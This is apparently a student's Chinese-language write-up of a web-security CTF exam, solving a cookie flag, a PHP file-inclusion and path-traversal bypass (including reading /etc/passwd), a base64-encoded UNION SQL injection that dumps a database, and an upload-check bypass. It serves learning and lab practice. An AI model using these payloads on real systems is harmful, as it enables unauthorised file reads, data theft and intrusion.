【Web安全技术】CTF期末考核

还是CTF好玩

5

一个这样的页面。在输入flag提交时会显示一串数字ZmxhZ3tXZWxDMG1lX3RvX2N0ZjJ9,用base64解码是flag{WelC0me_to_ctf2}

image-20251120103416379

请求的cookie:

1
2
3
4
5
Cookie
csrftoken=KNiYX2LvaOBO0Q4NMAD8i9atBOJttqZw;
FLAG=ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30%3D;
PHPSESSID=d78c3cc53f77c5c7c4b2e9ae5d8739f1; session=ae983bf8-182b-4f61-87dc-
6f8c9f02fb0e.fELaQGfxK8tbJ7wiRO_ln-Iew4o

FLAG=ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30%3D解码是flag{cookies-contain-info}

。。。傻掉了,原来这是签到题啊

6

蛮混乱的。总之是路径穿越

有index和another两个页面跳来跳去。不存在flag页面

image-20251120110437520

1
http://39.102.144.60:30006/page.php?file=php://filter/convert.base64-encode/resource=page.php

image-20251120105720841

1
CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+V2VsY29tZSE8L3RpdGxlPgoKICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+CiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgYm9keSB7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2YwZjBmMjsKICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgcGFkZGluZzogMDsKICAgICAgICBmb250LWZhbWlseTogIk9wZW4gU2FucyIsICJIZWx2ZXRpY2EgTmV1ZSIsIEhlbHZldGljYSwgQXJpYWwsIHNhbnMtc2VyaWY7CiAgICAgICAgCiAgICB9CiAgICBkaXYgewogICAgICAgIHdpZHRoOiA2MDBweDsKICAgICAgICBtYXJnaW46IDVlbSBhdXRvOwogICAgICAgIHBhZGRpbmc6IDUwcHg7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsKICAgICAgICBib3JkZXItcmFkaXVzOiAxZW07CiAgICB9CiAgICBhOmxpbmssIGE6dmlzaXRlZCB7CiAgICAgICAgY29sb3I6ICMzODQ4OGY7CiAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgfQogICAgQG1lZGlhIChtYXgtd2lkdGg6IDcwMHB4KSB7CiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGJhY2tncm91bmQt

解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!doctype html>
<html>
<head>
<title>Welcome!</title>

<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;

}
div {
width: 600px;
margin: 5em auto;
padding: 50px;
background-color: #fff;
border-radius: 1em;
}
a:link, a:visited {
color: #38488f;
text-decoration: none;
}
@media (max-width: 700px) {
body {
background-

加路径穿越会被检测捏

image-20251120110308635

/etc/passwd可以捏

1
http://39.102.144.60:30006/page.php?file=/etc/passwd

image-20251120110645748

笑死我了

1
http://39.102.144.60:30006/page.php?file=page.php

image-20251120110954813

终于想起来用curl就可以看到源代码了!

1
curl -s "http://39.102.144.60:30006/page.php?file=php://filter/convert.base64-encode/resource=page.php"

还是只有这些,但是看到了检测逻辑

1
2
3
4
5
6
7
8
<body>
<div>
CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+V2VsY29tZSE8L3RpdGxlPgoKICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+CiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgYm9keSB7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2YwZjBmMjsKICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgcGFkZGluZzogMDsKICAgICAgICBmb250LWZhbWlseTogIk9wZW4gU2FucyIsICJIZWx2ZXRpY2EgTmV1ZSIsIEhlbHZldGljYSwgQXJpYWwsIHNhbnMtc2VyaWY7CiAgICAgICAgCiAgICB9CiAgICBkaXYgewogICAgICAgIHdpZHRoOiA2MDBweDsKICAgICAgICBtYXJnaW46IDVlbSBhdXRvOwogICAgICAgIHBhZGRpbmc6IDUwcHg7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsKICAgICAgICBib3JkZXItcmFkaXVzOiAxZW07CiAgICB9CiAgICBhOmxpbmssIGE6dmlzaXRlZCB7CiAgICAgICAgY29sb3I6ICMzODQ4OGY7CiAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgfQogICAgQG1lZGlhIChtYXgtd2lkdGg6IDcwMHB4KSB7CiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGJhY2tncm91bmQt
<!--
if (strpos($file_path, ".") === 0 || substr_count($file_path, "..") > 2) {
echo "<p>malicious parameter</>
}
-->

curl another页面给出了文件结构(不早说)

image-20251120112249989

所以就是要绕过检测返回上一级目录,到达flag

检测逻辑:以.开头或者超过两个..

1
2
3
if (strpos($file_path, ".") === 0 || substr_count($file_path, "..") > 2) {
echo "<p>malicious parameter</>
}

试了/var/www/flag和index/../../flag等等,都是提示不存,最后还是用了filter

访问

1
http://39.102.144.60:30006/page.php?file=php://filter/resource=../flag

image-20251120114214498

好奇怪(

可能有权限限制,卡密说/proc/self/cwd/../flag可以

7

SQL注入

image-20251120115907270

只发现了有个隐藏的翻译框(?

image-20251120115858561

可以加查询语句,感觉像sql注入()

image-20251120120605879

http://39.102.144.60:30007/?id=1返回no result,但是http://39.102.144.60:30007/?id=MQ==可以(经过base64编码)

为什么大佬的url一开始就有id=MQ==

s_id怎么改都是返回张三,改id(加上base64)倒是有其他的记录,应该是有相应的过滤或者检查。总之确定了注入点是id=加上base64编码内容

image-20251120121353402

用永真式判断是数值型注入还是字符型注入

字符型:id=' or '1'='1。这种说明查询语句是包在引号里的。这个返回no result

数值型:id=1 or 1。结果变多了,是数值型

image-20251120164245376

用order by判断列数。原理:

order by是按第 n 列排序,如果库表里根本没有第 n 列,报错;不报错就说明列数 ≥ n

到id=1 order by 3的时候no了,所以一共两列

然后用UNION SELECT,刺探数据库信息。原理大概是,比如说查询是

1
SELECT id=1 UNION SELECT 1,2,3

就会返回两条记录,一条是id=1的记录,一条是1,2,3(这个没有实际意义,随便填的)。有个限制就是用了union,那么两条记录返回的列数需要相同。

所以其实也不需要用order by来判断列数了,因为一开始返回数据就是S_ID: 1 - S_Name: Zhang, San,看得出来是两列。也可以猜测到原查询语句大概是这样(不知道表名所以没有FROM,大括号里是注入的内容)

1
SELECT S_ID,S_Name WHERE id={1 UNION SELECT 1,database()}

获取数据库名。id=1 UNION SELECT 1,database()http://39.102.144.60:30007/?id=MSBVTklPTiBTRUxFQ1QgMSxkYXRhYmFzZSgp

返回的第一行数据对应SELECT S_ID,S_Name WHERE id=1,第二行是SELECT 1,database(),第一列数据是我们指定的1,第二列是数据库名websec

image-20251120171857781

获取表名。group_concat是聚合函数,把所有结果拼成一行。information_schema是系统自带数据库,存着所有库、表、列名。table_schema指定数据库名

1
1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='websec'

http://39.102.144.60:30007/?id=MSBVTklPTiBTRUxFQ1QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYT0nd2Vic2VjJw==

image-20251120172412328

获取flag表的列名

1
1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema='websec' AND table_name='flag'

http://39.102.144.60:30007/?id=MSBVTklPTiBTRUxFQ1QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hPSd3ZWJzZWMnIEFORCB0YWJsZV9uYW1lPSdmbGFnJw==

image-20251120172919417

获取flag的value

1
1 UNION SELECT 1,value FROM websec.flag

http://39.102.144.60:30007/?id=MSBVTklPTiBTRUxFQ1QgMSx2YWx1ZSBGUk9NIHdlYnNlYy5mbGFn

image-20251120173136199

8

文件上传

传文件的页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<body>
<div>
<h1>Upload and get flag?</h1>
<form action="index.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" onclick="checkFileSizeAndType(1*1024*1024,['gif','jpg','png'],'file');" />
</form>
</div>
</body>
</html>

<script>
//参数说明
//maxSize 代表允许最大上传的文件大小,单位是字节
//allowType 代表允许上传的文件类型(后缀)
//fileId 代表input type=file 框 的id
function checkFileSizeAndType(maxSize,allowType,fileId) {
//默认大小
if(!maxSize){
maxSize=10*1024*1024;
}
//默认类型
if(!allowType){
allowType=new Array('jpg','png');
}
//js通过id获取上传的文件对象
var file = document.getElementById(fileId);
var types =allowType;
var fileInfo = file.files[0];
if(!fileInfo){
alert("请选择文件!");
return false;
}
var fileName = fileInfo.name;
//获取文件后缀名
var file_typename = fileName.substring(
fileName.lastIndexOf('.') + 1, fileName.length);
//定义标志是否可以提交上传
var isUpload = true;
//定义一个错误参数:1代表大小超出 2代表类型不支持
var errNum =0;
if (fileInfo) {
if (fileInfo.size > maxSize) {
isUpload = false;
errNum=1;
} else {
for (var i in types) {
if (types[i] == file_typename) {
isUpload = true;
return isUpload;
} else {
isUpload = false;
errNum=2;
}
}
}
}
//对错误的类型进行对应的提示
if (!isUpload) {
if(errNum==1){
var size = maxSize/1024/1024;
alert("上传的文件必须为小于"+size+"M的图片!");
}else if(errNum==2){
alert("上传的"+file_typename+"文件类型不支持!只支持"+types.toString()+"格式");
}else{
alert("没有选择文件");
}
file.value="";
return isUpload;
}
}
</script>

对文件类型和大小有限制。试着传了一个小图片上去。跳到了http://39.102.144.60:30008/index.php

image-20251120214347600

没有头绪了。得知了有个.index.php.swp的存在(可以通过dirsearch扫描页面结构)(编辑文件的时候突然断电会产生swp文件)。访问这个url可以下载swp文件,本来应该用vim -r查看但我懒了,用strings(windows不带strings怎么办?用git bash运行)

1
curl -s http://39.102.144.60:30008/.index.php.swp | strings | sed -n '1,300p' > swp.txt

主要逻辑大概是这段(因为没用vim吗感觉乱得可以)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!doctype html>
}
}
echo "<h1>
</h1>";
}
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
}else{
copy('../flag', $filename);
if (strtolower($filetype) === ".php"){
$filename = md5($_FILES["file"]["name"]) . $filetype;
$filetype = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.'));
if ($flag === 1){
}
break;
die("error file head!");
$fileType = 'unknown';
default:
break;
$flag = 1;
$fileType = 'png';
case 13780:
break;
$flag = 1;
$fileType = 'jpg';
case 255216:
switch ($type_code) {
$flag = 0;
$type_code = intval($data['chars1'].$data['chars2']);
$data = unpack('C2chars', $bin);
fclose($file_tmp);
$bin = fread($file_tmp, 2);
$file_tmp = fopen($_FILES["file"]["tmp_name"], 'rb');
}
die("size too big!");
if ($_FILES["file"]["size"] / 1024 > 2048){
}
die("stop hacking!");
if ($_FILES["file"]["type"] !== "image/jpeg"){
{
else
}
echo "Error: " . $_FILES["file"]["error"] . "<br />";
{
if ($_FILES["fil233333
<?php

服务端通过读 $_FILES["file"]["tmp_name"] 的前两个字节判断文件类型($type_code),对 255216(JPEG)和 13780(PNG)等设置 $flag = 1;否则 $flag = 0(不是合法图片)。

服务器把上传的原始文件名的后缀取出来:

1
$filetype = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.'));

如果上传的文件是 .phpstrtolower($filetype) === ".php"),代码会把目标保存名设为:

1
$filename = md5($_FILES["file"]["name"]) . $filetype;

也就是:md5(原始文件名) + ".php"(注意:没有路径前缀,所以文件会写到当前目录,也就是 webroot)。

最关键的逻辑分支:当 $flag === 1 时会 move_uploaded_file(..., $filename)(把你上传的文件写入);当 $flag !== 1(即服务器判断它不是允许的图片)时,会执行copy('../flag', $filename);,把上一级目录的 flag 文件内容复制到 $filename(即 webroot 下的 md5(原始名).php)。
也就是说:上传一个名字以 .php 结尾且文件头表明不是JPEG或PNG的文件(并且通过前端的文件类型检查),服务器会把flag 文件复制成一个md5(你的文件名).php 文件。

所以可以上传一个小图片(通过文件大小等的检查),文件名设置成flag.php,在请求中把文件类型写成png

传一个小图片,用burpsuite截获,保证filename以.php结尾,和Content-Type是那两个图片类型之一

image-20251120224446037

image-20251120224746187

还是stop hacking是为啥呢。后来看了眼别人的php代码,原来是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
if ($_FILES){
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
if ($_FILES["file"]["type"] !== "image/jpeg"){
die("stop hacking!");
}
if ($_FILES["file"]["size"] / 1024 > 2048){
die("size too big!");
}
$file_tmp = fopen($_FILES["file"]["tmp_name"], 'rb');
$bin = fread($file_tmp, 2);
fclose($file_tmp);
$data = unpack('C2chars', $bin);
$type_code = intval($data['chars1'].$data['chars2']);
$flag = 0;
switch ($type_code) {
case 255216:
$fileType = 'jpg';
$flag = 1;
break;
case 13780:
$fileType = 'png';
$flag = 1;
break;
default:
$fileType = 'unknown';
die("error file head!");
break;
}
if ($flag === 1){
$filetype = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.'));
$filename = md5($_FILES["file"]["name"]) . $filetype;
if (strtolower($filetype) === ".php"){
copy('../flag', $filename);
}else{
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
}
echo "<h1>成功</h1>";
}
}
}

所以得是jpeg才行。把文件类型改一下

image-20251120230306739

返回:

image-20251120230323985

文件名是flag.php,md5加密一下得到存放flag的文件名71C31CCA71459CAFDB161A3F63A6FDC7.php

大写不行得用小写,我服了

1
curl "http://39.102.144.60:30008/71c31cca71459cafdb161a3f63a6fdc7.php"

image-20251120230841505